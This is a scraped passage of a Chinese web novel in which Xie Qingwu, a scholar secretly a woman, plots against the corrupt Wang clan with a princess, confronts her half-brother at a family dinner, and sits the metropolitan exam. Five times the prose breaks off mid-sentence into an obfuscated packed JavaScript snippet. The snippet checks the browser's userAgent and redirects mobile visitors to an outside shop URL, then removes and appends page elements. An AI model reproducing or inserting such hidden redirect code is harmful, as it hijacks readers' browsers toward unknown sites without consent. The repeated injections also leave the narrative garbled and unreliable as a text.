“学生听闻,国子监沈祭酒与大皇子府上的周先生有旧。若能请沈祭酒牵线,或许可行。” “沈墨?”萧玉衡想了想,“他确实是个合适的人选。清流领袖,不涉党争,说话有分量。而且他向来厌恶贪腐,若知道王家所作所为,必不会袖手旁观。” 她顿了顿:“但沈墨为人谨慎,不会轻易卷入皇子之争。你得有个合适的由头。” “学生已经想好了。”谢青梧说,“就以‘江州民生’为由,向沈祭酒请教盐政之弊。他是经学大家,又好谈民生,定会接话。届时学生再慢慢引出王家之事,只谈事实,不论党争。以沈祭酒的性子,听罢自会有所动作。” 萧玉衡笑了:“谢怀瑾,你心思确实缜密。好,就按你说的办。沈墨那边,我去打个招呼,让他见你一面。至于怎么说,看你的本事。” “谢殿下。” “别急着谢。”萧玉衡正色道,“这事风险不小。一旦开始,就没有回头路。王家倒了还好,若是不倒,反扑起来,第一个遭殃的就是你。” “学生知道。”谢青梧抬眼,“但有些事,总得有人做。” 萧玉衡看了她半晌,忽然问:“你为何对王家的事如此上心?仅仅因为谢明远拿你生母要挟?” 谢青梧手指微微一紧,面上却不动声色:“是,也不全是。学生看不惯王家鱼肉乡里,祸害百姓。既然拿到了证据,便不能装作不知。” 她说得坦荡,隐去了身世那一层。不是不信萧玉衡,而是这事牵扯太大,知道的人越少越好。 萧玉衡似乎信了,点点头:“你有这份心,是百姓之福。放心去做,京里有我替你看着。王家若敢动你,先过我这关。” 这话说得重,是明确的承诺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998191|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。谢青梧心头一热,起身行礼:“学生定不负殿下所望。” “坐下吧。”萧玉衡摆摆手,“还有一事。春闱在即,你虽要谋划这些,但功课不能落下。科举是你立足的根本,别因小失大。” “学生明白。” 两人又商议了些细节,何时见沈墨,如何递话,证据何时呈递,都一一推敲。萧玉衡心思细,考虑得周全,谢青梧听着,心里越发有底。 有公主在后面撑着,这条路会好走很多。 谈完正事,萧玉衡让内侍端来点心:“说了这半天,你也饿了。尝尝,御膳房新做的枣泥糕。” 谢青梧道了谢,拿起一块。枣泥香甜,入口即化。她慢慢吃着,心里却还在想刚才的谋划。 每一步都得算准,不能出错。 正想着,萧玉衡忽然问:“你南下这一路,陆执帮了不少忙吧?” 谢青梧手一顿:“是。若不是锦衣卫暗中相护,学生恐怕回不来。” “陆执这个人……”萧玉衡顿了顿,“心思深,但办事牢靠。他既然肯护你,说明对你有所图。你心里要有数,别全然信任,但也不必过分防备。锦衣卫有锦衣卫的规矩,他做事有他的分寸。” “学生记下了。” 从公主府出来时,已近午时。阳光很好,照在身上暖洋洋的。谢青梧走在街上,脚步比来时轻快了些。 有了公主的明确支持,接下来的事就好办多了。 她先回了住处,把要见沈墨的事理了理说辞。然后去了国子监,继续温书。 春闱还有不到一个月,她得抓紧时间。白天读书,晚上谋划,时间排得满满的。 李婶见她忙,也不敢多问,只把饭菜做得更精心些。谢青梧看在眼里,心里感激,但也没多说。 有些路,只能自己走。 有些担子,只能自己扛。 窗外的天又暗下来,她点起灯,继续看书。 字句在眼前跳动,心思却时不时飘远。 江州的证据,京城的谋划,王家的反扑,还有暗处那些眼睛…… 千头万绪,都得理清。 她放下书,揉了揉眉心。 慢慢来。 一步一步来。 灯花爆了一下,屋里亮了些。 她重新拿起书,沉下心。 44.谢府鸿门 谢府的请帖送到时,谢青梧正在温书。 送帖的是王管家,脸上堆着笑,眼里却没几分真心:“大少爷说,您南下辛苦,回来了该聚聚。今儿晚膳在正厅摆席,请您务必过去。” 谢青梧接过帖子,扫了一眼。措辞客气,但透着不容拒绝的意味。她点点头:“好,我会准时到。” 王管家走了。李婶从里屋出来,一脸担忧:“公子,这宴……怕是不好吃。” “我知道。”谢青梧把帖子放在桌上,“但躲不过去,不如去会会。” 她继续看书,神色平静,像刚才只是应了个普通的邀约。李婶张了张嘴,没再说什么,只叹了口气,转身去准备晚膳时要穿的衣裳。 申时末,谢青梧换了身干净的青衫,出了门。 谢府离她住处不远,走一刻钟就到。府门还是老样子,高大气派,门口两个石狮子张牙舞爪。守门的小厮认得她,皮笑肉不笑地行礼:“二少爷来了,大少爷在正厅等您。” 正厅里灯火通明。谢明远坐在主位,旁边坐着王氏,两人面前摆了一桌酒菜,看着丰盛。见谢青梧进来,谢明远露出笑容:“二弟来了,坐。” “大哥,母亲。”谢青梧行礼,在客位坐下。 王氏打量她几眼,不咸不淡地说:“看着瘦了,南下这一趟,辛苦吧?” “还好。”谢青梧垂眼,“谢母亲关心。” 丫鬟端上茶。谢明远挥挥手让下人退下,厅里只剩他们三人。他端起酒杯:“来,先喝一杯,给你接风。” 谢青梧端起茶杯:“弟弟还在服药,不宜饮酒,以茶代酒。” 谢明远也不勉强,自己喝了,放下杯子,状似随意地问:“听说你这次南下,是去寻访故人?可寻到了?” “寻到了。”谢青梧说,“一位远房长辈,病得重,我去见了最后一面。” “哦?是哪里的长辈?” “江州。”谢青梧抬眼,看着谢明远,“大哥对江州熟吗?” 谢明远手微微一僵,随即笑道:“不熟。谢家的生意多在北方,江州那种地方,没怎么去过。” “是吗。”谢青梧端起茶杯,轻轻吹了吹,“可我这次去,倒听说些有趣的事。” 王氏忍不住插嘴:“什么有趣的事?” “关于江州王家。”谢青梧放下茶杯,“听说王家在当地势力很大,盐铁漕运一把抓,连知府都要看他们脸色。可背地里,好像做了不少见不得人的勾当。” 谢明远脸色变了:“你听谁说的?” “茶楼酒肆,街头巷尾,都在传。”谢青梧语气平静,“说王家走私铁器,私开矿脉,甚至还和北边有往来。这些事若是真的,那可是抄家灭族的大罪。” 厅里静了一瞬。 谢明远盯着她,眼神阴沉下来:“二弟,这些话可不能乱说。王家在朝中有人,传出去,对你没好处。” “我知道。”谢青梧点头,“所以我只是听说,没说信。不过……” 她顿了顿,看向谢明远:“我听说,王家这些年给京里送了不少银子,打点关系。大哥,你说这些银子,都送到谁手里了?” 谢明远手指收紧,酒杯差点捏碎。王氏脸色发白,强笑道:“怀瑾,你一个读书人,打听这些做什么?好好备考才是正事。” “母亲说的是。”谢青梧从善如流,“所以我也就是听听,没打算管。不过……” 她又停了一下,这次看向谢明远的眼神带了点深意:“我在江州时,偶然得了些东西。看着像是账本,又像是信件。我也不懂这些,本想带回来请大哥帮忙看看,可又怕给大哥惹麻烦。” 谢明远呼吸一滞。 账本?信件? 难道是…… 他强压住心惊,扯出笑容:“什么账本信件,怕是些没用的旧物。你一个举人,别沾染这些。” “我也觉得是。”谢青梧点头,“所以想了想,还是没带回来。不过我把内容抄了一份,藏在一个安全的地方。万一我出了什么事,那些东西就会送到该送的人手里。” 这话说得轻描淡写,却像刀子一样扎进谢明远心里。 威胁。 赤裸裸的威胁。 他盯着谢青梧,这个他从来瞧不上的庶弟,如今竟敢当面威胁他。可偏偏,他不敢发作。 那些东西若是真的,若是落到大皇子手里,或是落到锦衣卫手里…… 王家完了,谢家也得跟着完。 “二弟,”他压下火气,尽量放软声音,“咱们是一家人,有什么事,关起门来说。你手里的东西,交给大哥,大哥替你保管。” “不用麻烦大哥了。”谢青梧微笑,“我藏得挺好,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998192|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会丢。而且我也没打算用,只要没人逼我,那些东西就永远是个秘密。” 她站起身:“时候不早了,学生还要回去温书,先告辞了。” 谢明远想拦,可张了张嘴,没说出话。王氏也想说什么,被谢明远一个眼神止住了。 谢青梧行礼,转身出了正厅。 厅里死一般寂静。 过了好一会儿,王氏才颤声问:“明远,他……他手里真有那些东西?” 谢明远没说话,抓起酒杯狠狠摔在地上。瓷片四溅,酒洒了一地。 “这个孽障!” 他咬牙切齿,可心里更多的是恐惧。谢怀瑾手里有王家的罪证,而且明摆着不打算交出来。这是悬在谢家和王家头上的一把刀,随时可能落下来。 怎么办? 硬抢?谢怀瑾说了,东西藏起来了,抢不到。 灭口?万一他真安排了后手,死了更麻烦。 谢明远跌坐在椅子上,额头冒出冷汗。 他忽然想起半年前,谢怀瑾还是个唯唯诺诺的庶子,见了他就低头。这才多久,竟成了心腹大患。 早知如此…… 他闭了闭眼。 世上没有后悔药。 谢青梧走出谢府,夜风一吹,才发觉后背有些湿。 刚才那一场交锋,她看似占上风,实则步步惊心。谢明远若真的不管不顾,当场翻脸,她未必走得出来。 幸好,谢明远怕了。 王家的事太大,他不敢赌。 她加快脚步,回到住处。李婶迎上来,看她脸色还好,松了口气:“公子,没为难您吧?” “没有。”谢青梧摇头,“李婶,帮我烧点热水,我想洗个澡。” “好,好。” 泡在热水里,紧绷的神经才慢慢放松下来。谢青梧闭上眼睛,回想刚才的每一句话。 该说的都说了,该敲打的都敲打了。 谢明远现在应该寝食难安,短时间内不敢再动她。这就够了,她需要时间备考,需要时间布局。 等春闱过后,等王家的事掀开,谢明远自然有人收拾。 她擦干身子,换上干净衣裳,走到书桌前。 桌上还摊着书,刚才看到一半。她坐下,重新拿起笔。 窗外传来打更声。 二更了。 45.静待春闱 陆执的密报送到御前时,谢青梧正在国子监听严博士讲时策。 春闱将近,讲学的重点从经义转到了实务。严博士今日讲漕运,从前朝漕政讲到本朝改革,条分缕析。谢青梧坐在前排,听得认真,不时在纸上记几笔。 窗外春雪未融,斋舍里却暖意融融。炭盆烧得旺,学子们穿着厚袍子,挤在一起,呼出的白气混着墨香。 李慕白坐在谢青梧旁边,小声嘀咕:“怀瑾,你说今年时策会考什么?漕运,盐政,还是边关?” “都有可能。”谢青梧眼睛看着讲台,“严博士既然讲这些,总有道理。” “也是。”李慕白挠挠头,“不过我听人说,今年主考是户部的陈侍郎,他最看重钱粮实务。咱们得多在这上头下功夫。” 谢青梧点头,没再接话。她心里清楚,春闱不只是一场考试,更是她站稳脚跟的关键。中了进士,有了官身,说话才有分量。 王家的罪证在她手里,就像握着一把刀。但刀再利,也得握刀的人有力气才砍得下去。 她现在缺的就是力气。 一个举人,哪怕有公主看重,有证据在手,要扳倒树大根深的王家,还是不够。得先考中进士,入了朝堂,站到那个位置上,刀才能挥出去。 所以眼下最要紧的,是备考。 严博士讲完一段,停下来问:“你们可知,本朝漕运最大的弊病在何处?” 斋舍里安静了一瞬。有人试探着答:“损耗太大?” “胥吏贪墨?” 严博士摇头,看向谢青梧:“怀瑾,你说说。” 谢青梧站起身:“学生以为,最大的弊病不在漕运本身,而在沿河州县层层盘剥。漕粮从江南起运,到京城入库,中间经手衙门数十,每过一关都要‘孝敬’。这些银子,最后都摊到百姓头上。” 她顿了顿:“而掌控漕运的豪强,又与地方官府勾结,借机夹带私货,偷漏税银。漕运之弊,实为吏治之弊。” 严博士眼睛亮了:“说得好。那依你看,该如何整治?” “学生以为,当从三处着手。”谢青梧不慌不忙,“其一,精简漕运衙门,减少经手环节。其二,严查夹带私货,重罚贪墨胥吏。其三……” 她停了一下,“其三,放开漕运限制,允民间商船参与运粮,以商船之效率,倒逼官船改革。” 这话一出,斋舍里响起低低的议论声。有人皱眉,有人点头。严博士抚须沉吟,半晌才道:“思路不错,但施行不易。民间商船参运,触动太多人利益,阻力会很大。” “学生知道。”谢青梧坐下,“所以这第三条,眼下只能是个想法。” 严博士深深看她一眼,没再多说,继续讲课。 下学时,李慕白凑过来:“怀瑾,你刚才说的第三条,胆子真大。民间商船运粮,那些靠漕运吃饭的还不得跳起来?” “跳就跳吧。”谢青梧收拾书箱,“弊病总要有人提。” “也是。”李慕白帮她拿了两本书,“不过这种话,考场写写就算了,真做起来难。对了,你听说没,刘瑾那小子最近又蹦跶,到处说你会试肯定考不中。” 谢青梧动作一顿:“随他说去。” “你不生气?” “生气有用吗?”谢青梧背起书箱,“有那功夫,不如多读两页书。” 两人走出斋舍。春雪后的阳光很好,照在未化的积雪上,亮得晃眼。国子监院里,学子们三三两两走着,有的还在讨论功课,有的说笑打闹。 一切看起来平静寻常。 但谢青梧能感觉到,暗处有眼睛在盯着。从她回京那天起,就没断过。有时是街角卖糖葫芦的,有时是路过书铺的客人,有时是斋舍外扫地的杂役。 王家的,谢明远的,甚至可能还有陆执的锦衣卫。 她不理会,只做自己的事。每日按时来国子监听讲,下学回住处温书,偶尔去春风阁见云知意,一切都按部就班。 就像什么都没发生。 就像南下那一场惊险,江州那一片血仇,都不存在。 她需要这份平静,需要这段时间来积蓄力量。 走到国子监门口,严博士的马车刚好经过。车帘掀开,严博士探出头:“怀瑾,上来,捎你一段。” 谢青梧道谢上车。车里暖和,严博士递给她一个暖手炉:“拿着,你脸色还是不太好,得多注意。” “谢先生关心。” 马车缓缓行驶。严博士看着她,忽然问:“怀瑾,你心里有事。” 不是疑问,是肯定。 谢青梧垂眼:“学生只是备考有些累。” “不是备考的事。”严博士摇头,“你从江州回来,人就沉了许多。眼里有东西,压得重。我教了这么多年书,看得出来。” 谢青梧沉默。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002697|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “你不说,我也不问。”严博士叹口气,“但怀瑾,你记住,路要一步一步走。你才十五岁,前程远着呢,别把担子都压在自己肩上。” “学生明白。” “明白就好。”严博士顿了顿,“春闱在即,别的都先放放。考中了,站到那个位置上,有些事才办得了。” 这话意有所指。谢青梧抬眼,严博士神色平静,像只是随口一提。 但谢青梧听懂了。 严博士知道些什么,或者猜到了些什么。但他不说破,只提醒她眼下最要紧的事。 “学生谨记先生教诲。” 马车在住处停下。谢青梧下车,行礼告别。严博士的车走了,她站在门口,看着车影消失在街角。 心里那股暖意,久久不散。 推门进去,李婶正在做饭。见她回来,笑道:“公子,今儿炖了鸡汤,给您补补。严博士让人送来的老母鸡,可肥了。” “有劳李婶。” 晚饭很丰盛,鸡汤炖得浓,菜也炒得香。谢青梧慢慢吃着,脑子里却在想严博士的话。 路要一步一步走。 她现在就在走最要紧的一步。 吃完饭,她回到书桌前。灯点亮,书摊开,墨研好。她拿起笔,开始写文章。 题目是严博士今日留的:“论漕运革新”。 她提笔写下第一句:“民为邦本,食为民天。漕运者,天下粮道也……” 字迹工整,思路清晰。从漕运现状,到弊病根源,再到改革设想,层层递进。她写得专注,忘了时间,直到李婶敲门提醒该睡了,才发觉已经过了子时。 她放下笔,活动了一下手腕。 文章写完了,三千多字,酣畅淋漓。她从头看了一遍,修改了几处,觉得还算满意。 吹灭灯,躺到床上。 窗外很静,只有风声。 她闭上眼睛,脑子里却还在转。春闱,王家,证据,公主,陆执……千头万绪,最后都化成一个念头: 先考中。 考中了一切都好说。 考不中,一切都是空谈。 她翻了个身,面朝墙壁。 还有半个月。 半个月后,考场见分晓。 窗外的风停了,雪又开始下。 细细密密的,悄无声息。 像在积蓄力量,等待春天。 46.会试交锋 会试那日,天还没亮,贡院外已经排起了长龙。 谢青梧寅时就到了,排在队伍中段。春寒料峭,考生们都裹着厚袍子,手里提着考篮,有的还在低声背书。灯笼的光昏黄,照着一张张或紧张或疲惫的脸。 她检查了一遍考篮。笔墨纸砚,干粮水囊,还有一小盒膏药。南下时肩膀留下的伤还没好全,坐久了会疼,这膏药是云知意特制的,止痛化瘀。 队伍缓缓向前挪。快到贡院门口时,她看见了刘瑾。 刘瑾穿着崭新的绸缎袍子,站在队伍旁,正跟两个巡考官员说话。他眼角余光瞥见谢青梧,嘴角扯出个笑,朝这边走了过来。 “谢怀瑾,这么早就来了?”刘瑾声音不大,但周围几个人都能听见,“也是,寒门子弟,就指着这场考试翻身,是该上心。” 谢青梧没理他,继续往前走。 刘瑾却拦在她面前:“等等,你这考篮里装的什么?我看看。” 说着就要伸手来翻。 谢青梧侧身避开:“刘公子,考篮要等进了贡院,由巡考官员检查。” “我现在就要看。”刘瑾抬高声音,“谁知道你们这些寒门子弟会不会夹带私货?我可是奉了祭酒大人之命,协助维持考场秩序。” 周围考生都看过来,眼神各异。有不满的,有看热闹的,也有低头假装没看见的。 谢青梧抬眼,看向不远处的巡考官员。那两人也注意到了这边,正往这儿走。 她松开手,把考篮放在地上:“刘公子要查,可以。但按规矩,得在巡考官员见证下查。” 刘瑾冷笑,蹲下身翻检考篮。笔墨纸砚,干粮水囊,一样样拿出来。翻到那盒膏药时,他眼睛一亮。 “这是什么?”他拿起膏药盒,“考场严禁携带药物,你不知道?” “这是治伤的膏药。”谢青梧平静道,“学生南下时受了伤,肩膀疼痛,带些膏药备用。并不违反考场条例。” “备用?”刘瑾把膏药盒打开,闻了闻,又用手指抠了一点,“谁知道里头是不是藏着小抄?这种东西,必须没收。” “刘公子若怀疑,可以请巡考官员查验。”谢青梧看向已经走到近前的两个官员,“二位大人,学生带的确实是治伤膏药,绝无夹带。刘公子无端指控,扰乱秩序,还请大人明察。” 两个巡考官员对视一眼。其中一个年长些的接过膏药盒,仔细看了看,又闻了闻,还递给旁边随行的大夫查验。 大夫看了半晌,点头:“是普通的跌打膏药,没有异常。” 刘瑾脸色变了:“怎么可能!他明明……” “刘公子。”年长的巡考官员沉下脸,“考场条例规定,考生可携带必需药品,只需提前报备查验。谢怀瑾这膏药并无问题,你无端指认,是何居心?” “我……我只是谨慎起见。”刘瑾咬牙,“寒门子弟,谁知道会不会耍花样……” “寒门子弟如何?”谢青梧忽然开口,声音清晰,“朝廷开科取士,不问出身,只问才学。刘公子张口闭口寒门如何,是在质疑朝廷选才之制,还是在质疑天下寒门学子的品行?” 这话说得重,周围不少寒门出身的考生都看了过来,眼神不善。 刘瑾噎住了,脸涨得通红:“你……你胡说什么!” “学生是否胡说,在场各位都听到了。”谢青梧转向巡考官员,“大人,会试乃国家抡才大典,本该公平肃穆。刘公子无凭无据,当众污蔑考生,扰乱考场秩序,按条例该如何处置?” 年长的巡考官员沉吟片刻。刘瑾是国子监祭酒的外甥,他不想得罪。但众目睽睽之下,若偏袒太过,也说不过去。 “刘瑾,你且退下。”他摆摆手,“不得再滋事。” “可是……” “退下!” 刘瑾狠狠瞪了谢青梧一眼,甩袖走了。走之前那眼神,怨毒得能淬出冰来。 谢青梧面不改色,收回考篮,向巡考官员行礼:“谢大人明察。” “进去吧。”年长的官员看她一眼,声音缓和了些,“好好考。” “是。” 进了贡院,找到自己的号舍。窄小的一间,只有一桌一椅。她放下考篮,坐下歇息。肩膀还有些疼,她抹了点膏药,闭目养神。 方才那一场交锋,看似赢了,实则凶险。刘瑾明显是故意找茬,想在她进场前扰乱心神。若她当时慌了,或者争辩失当,都可能被取消考试资格。 幸好她早有准备。 膏药确实是治伤的,不怕查。巡考官员虽然碍于情面没重罚刘瑾,但至少当众斥责了他,维护了考场的体面。 而她在众人面前那番话,既反驳了刘瑾,又赢得了寒门学子的好感。这一局,不亏。 号舍外传来梆子声,考试要开始了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002698|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢青梧睁开眼睛,铺开纸,研好墨。 第一场考经义,题目中规中矩。她提笔就写,思路顺畅。南下这一趟,见多了民生疾苦,吏治腐败,再看这些圣贤文章,体会更深。 写到最后一道策论题时,她顿了顿。 题目是:“论选才之道”。 这题可大可小。往小了说,可以谈科举制度的完善。往大了说,可以谈如何打破门第之见,唯才是举。 她想起江州王家,想起谢明远,想起那些因为出身就被打压的寒门学子。 笔尖落下。 “臣闻,治国之道,首在得人。然人之才,非尽出于豪门……” 她写得很稳,不激进,但字里行间透着锋芒。从历史上的选才制度,说到本朝科举的利弊,再谈到如何改进。最后一句,她写道: “故臣以为,选才当以德才为本,门第为末。使野无遗贤,朝无幸进,则天下英才尽入彀中矣。” 写罢,放下笔。手腕有些酸,她活动了一下,仔细检查了一遍卷子,确认无误。 交卷时已是傍晚。她提着考篮走出贡院,夕阳西下,余晖洒在青石板上。 李慕白在门外等她,见她出来,迎上来:“怀瑾,怎么样?” “还好。”谢青梧笑笑,“你呢?” “还行,就是策论题有点难。”李慕白压低声音,“听说刘瑾那小子今天找你麻烦了?” “没事,解决了。” 两人边走边说。街上有考生在讨论题目,有的兴奋,有的沮丧。谢青梧静静听着,没插话。 回到家,李婶已经做好了饭。见她神色如常,松了口气:“公子考得如何?” “还成。”谢青梧洗了手坐下,“李婶,这几天辛苦你了。” “不辛苦,不辛苦。”李婶盛了碗汤,“您多吃点,补补精神。” 吃完饭,谢青梧回到房里。没点灯,在黑暗中坐了一会儿。 今天这场考试,只是开始。后面还有两场,不能松懈。 刘瑾今天吃了亏,不会善罢甘休。后面可能还有别的花样。 但她不怕。 兵来将挡,水来土掩。 她起身,点亮灯,翻开书。 还有两场,接着考。 窗外,贡院的方向,灯火通明。 那里有千万学子的梦,也有她的路。 47.考场风云 会试第三场,考策论。 贡院号舍里,谢青梧拿到题纸时,指尖几不可察地顿了一下。 题目是:“论吏治与民富”。 这题出得巧,也出得险。巧在看似平实,实则包罗万象。险在若把握不好分寸,容易流于空谈,或者触及时忌。 她放下题纸,闭目沉思了片刻。 南下江州这一趟,她见了太多。王家把持下的江州,吏治腐败,民生凋敝。盐铁漕运尽入私囊,百姓辛苦劳作却食不果腹。而京城之中,高门大族锦衣玉食,寒门子弟寸步难行。 这些,都能写。 但不能写得太直白。 她睁开眼睛,开始研墨。墨锭在砚台里缓缓转动,墨汁渐渐浓稠。她一边研,一边整理思路。 不能直接提女权,那是禁忌。但可以从“任人唯贤、发掘民力”切入。江州王家任人唯亲,打压异己,导致贤才埋没,民力空耗。这便是吏治不修,民富不兴的症结。 至于女子亦为民力……可以隐含在论述中。谈“士农工商各尽其才”时,自然涵盖。不必点破,有心人自能领会。 思路清晰了。她提笔蘸墨,在草稿纸上写下几个关键字:吏治、民富、任贤、尽才。 然后开始打腹稿。 第一段破题,言吏治与民富互为表里。吏治清则民富,民富则国固。 第二段论吏治之要,在于选贤任能。举江州为例,豪强把持要职,贤能不得进,政令不通,民生困顿。 第三段论民富之本,在于发掘民力。士农工商,皆为国本。使各尽其才,各得其所,则国力昌盛。 第四段收束,归到朝廷责任。当修明吏治,广开才路,如此方能国泰民安。 腹稿已成。她铺开正卷纸,提笔写下题目,然后开始誊写。 “臣对:吏治与民富,犹根与叶也。根深则叶茂,本固则枝荣……” 她写得很稳,一字一句,力透纸背。江州的见闻化入文中,真实而有力。不说王家之名,但明眼人都能看出所指。 写到“发掘民力”一节时,她笔锋微转。 “……臣闻,民之为力,非独壮丁。老弱妇孺,各有所长。昔有巴寡妇清,以丹穴之利资秦;唐有邹凤炽,以织造之术富家国。故善治国者,不遗一人之力,不废一技之长。使士农工商各尽其才,老弱妇孺各得其所,则民力尽出,国用自足。” 这段写得隐晦,但意思到了。巴寡妇清是秦时女商人,邹凤炽是唐代纺织业大家,都是女子。以此为例,既合史实,又传递了思想。 她继续写,从民力谈到吏治,再谈到朝廷该如何作为。最后收笔: “……故臣以为,吏治之要,在选贤任能,去私存公。民富之道,在尽民之力,厚民之生。二者并举,则四海升平,天下大治。伏惟陛下圣鉴。” 写完,放下笔。她活动了一下手腕,从头检查了一遍。三千余字,字字工整,条理清晰,论据扎实。 确认无误,她将卷子仔细卷好,放在桌角。然后靠在椅背上,闭目养神。 肩膀还有些疼,但心里很踏实。 这篇文章,她尽了全力。既展现了才学,又传递了思想。不激进,不犯忌,但自有锋芒。 至于考官怎么看,那就不是她能左右的了。 尽人事,听天命。 号舍外传来收卷的梆子声。她起身,将卷子交给收卷官。那官员接过,看了她一眼,眼神里有些探究。 她行礼退出,提着考篮走出号舍。 贡院里,考生们三三两两往外走。有的兴奋讨论,有的垂头丧气。李慕白在门口等她,见她出来,迎上来:“怀瑾,最后一场考得如何?” “还行。”谢青梧笑笑,“你呢?” “我觉得不错。”李慕白压低声音,“策论题我写的是漕运革新,用了你上次说的几点。你呢?写的什么?” “吏治与民富。” “这题不好写啊。”李慕白皱眉,“容易写空。你怎么写的?” “就事论事。”谢青梧简单答,“以江州为例。” 李慕白愣了一下,随即明白过来,点点头:“有实例就好写。走吧,考完了,咱们去吃点好的,庆祝庆祝。” 两人出了贡院。街上人很多,都是刚考完的考生和来接人的家仆。喧哗声,说笑声,混成一片。 谢青梧走在人群里,心情难得的轻松。 三场考完,不管结果如何,至少这一程走完了。剩下的,就是等待。 回到住处,李婶已经备好了热水和饭菜。见她回来,笑道:“公子考完了?快洗洗,吃饭。我炖了您爱喝的排骨汤。” “有劳李婶。” 洗了澡,换了干净衣裳,坐在桌边吃饭。排骨汤炖得浓,菜也炒得香。她慢慢吃着,脑子里却还在想那篇策论。 不知考官会怎么看。 不知那些话,能不能传到该听的人耳朵里。 吃完饭,她走到院中。春夜的风格外轻柔,吹在脸上很舒服。她抬头看天,星星很亮,一颗一颗,清冷又坚定。 像这条路,难走,但值得走。 身后传来脚步声,李婶端了茶出来:“公子,喝点茶, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006720|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 消消食。” “好。” 她接过茶,在石凳上坐下。李婶站在一旁,欲言又止。 “李婶有话要说?” “公子,”李婶低声道,“今儿您考试时,外头有两个人转悠,看着不像好人。我问他们找谁,他们说是路过。可我瞧着,像是在盯梢。” 谢青梧手一顿:“什么样的人?” “一个穿灰衣,一个穿蓝衣,都是三十来岁。在咱们门口转了两圈,又走了。”李婶担忧道,“公子,是不是……谢家那边的人?” “可能是。”谢青梧放下茶杯,“没事,让他们盯。咱们行得正,不怕。” 话虽这么说,心里却警惕起来。会试刚考完,谢明远就派人来盯梢,是想干什么?打探消息?还是另有打算? 得小心些。 她喝完茶,起身回屋。点起灯,翻开一本书,却看不进去。脑子里转着各种可能,又一一排除。 最后,她合上书,吹灭灯。 不想了。 该来的总会来。 她躺到床上,闭上眼睛。窗外传来虫鸣,一声一声,像是在催人入睡。 慢慢睡着了。 梦里,好像回到了江州。乳娘站在村口朝她招手,生母在桥头微笑。王家大宅里,王崇山摔碎了茶杯,谢明远脸色阴沉。 还有那支箭,破空而来,钉在树上。 她翻了个身,醒了。 天还没亮。 她坐起身,听着窗外的风声。 放榜还要等半个月。 这半个月,得好好准备。 准备迎接可能到来的荣光,也准备应对可能出现的风雨。 她起身,点亮灯。 摊开纸,拿起笔。 开始写下一篇文章。 而此时,贡院的阅卷房里,灯火通明。 几十位阅卷官正在连夜阅卷。卷子堆成小山,一份份传阅,批注,评定等次。 一位年近五十的阅卷官拿起一份卷子,展开看了几行,眼睛忽然亮了。 “好字。”他低声赞了一句,继续往下看。 看完整篇策论,他沉默了很久。 然后提笔,在卷首写下两个字:“上上”。 又沉吟片刻,在旁边添了一行小注:“见识超群,论据扎实,隐有经世之志。可荐。” 他将卷子传给下一位阅卷官。 那位阅卷官看罢,同样沉默,然后也写下“上上”。 卷子一份份传下去。 夜深了。 阅卷房里的灯,还亮着。 48.放榜之前 会试放榜前这几日,京城里的气氛一天比一天紧绷。 谢青梧照旧每日去翰林院点卯,整理旧档,誊抄文书。面上平静得像一池深水,底下却知道,各处眼睛都盯着呢。 这日刚散值出来,李慕白就在翰林院门口等着,见她出来,急急迎上来:“怀瑾,你怎么还这么沉得住气?外头都传疯了!” “传什么?”谢青梧脚步不停。 